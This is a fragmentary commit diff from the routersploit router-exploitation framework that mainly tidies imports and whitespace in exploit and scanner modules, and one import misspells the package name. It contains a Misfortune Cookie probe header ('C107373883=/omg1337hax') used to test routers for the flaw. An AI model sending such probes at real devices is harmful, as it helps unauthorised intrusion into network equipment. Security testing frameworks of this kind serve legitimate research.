@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
return
True
return
False
routersploit/modules/exploits/multi/misfortune_cookie.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -44,7 +49,6 @@ class Exploit(exploits.Exploit):
'Cache-Control'
:
'no-cache'
,
'Cookie'
:
'C107373883=/omg1337hax'
}
try
:
r
=
requests
.
get
(
url
,
headers
=
headers
)
...
...
@@ -62,6 +66,4 @@ class Exploit(exploits.Exploit):
except
:
return
None
# could not be verified
return
False
# target not vulnerable
routersploit/modules/exploits/netgear/n300_auth_bypass.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -51,4 +55,3 @@ class Exploit(exploits.Exploit):
return
True
return
False
# target not vulnerable
routersploit/modules/scanners/dlink_scan.py
View file @
d4152b25
from
routersploit
import
*
from
os
import
listdir
from
os.path
import
isfile
,
join
import
imp
from
routersplot
import
(
exploits
,
print_success
,
print_error
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
...
...
@@ -20,12 +26,11 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
exploits
=
[]
rootpath
=
'routersploit/modules/'
path
=
'exploits/dlink/'
# only py exploit files
modules
=
[
f
.
replace
(
".py"
,
""
)
for
f
in
listdir
(
rootpath
+
path
)
if
isfile
(
join
(
rootpath
+
path
,
f
))
and
f
.
endswith
(
".py"
)
and
f
!=
"__init__.py"
]
modules
=
[
f
.
replace
(
".py"
,
""
)
for
f
in
listdir
(
rootpath
+
path
)
if
isfile
(
join
(
rootpath
+
path
,
f
))
and
f
.
endswith
(
".py"
)
and
f
!=
"__init__.py"
]
vulns
=
[]
for
module_name
in
modules
:
...
...
@@ -58,4 +63,3 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
print_error
(
"Check method is not available"
)
routersploit/utils.py
View file @
d4152b25
...
...
@@ -122,7 +122,8 @@ class LockedIterator(object):
self
.
lock
=
threading
.
Lock
()
self
.
it
=
it
.
__iter__
()
def
__iter__
(
self
):
return
self
def
__iter__
(
self
):
return
self
def
next
(
self
):
self
.
lock
.
acquire
()
...
...
@@ -170,7 +171,7 @@ def print_table(headers, *args, **kwargs):
headers_line
=
""
.
join
((
headers_line
,
"{header:<{fill}}"
.
format
(
header
=
header
,
fill
=
current_line_fill
)))
headers_separator_line
=
""
.
join
((
headers_separator_line
,
'{:<{}}'
.
format
(
header_separator
*
len
(
header
),
current_line_fill
)
'{:<{}}'
.
format
(
header_separator
*
len
(
header
),
current_line_fill
)
))
print
()
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment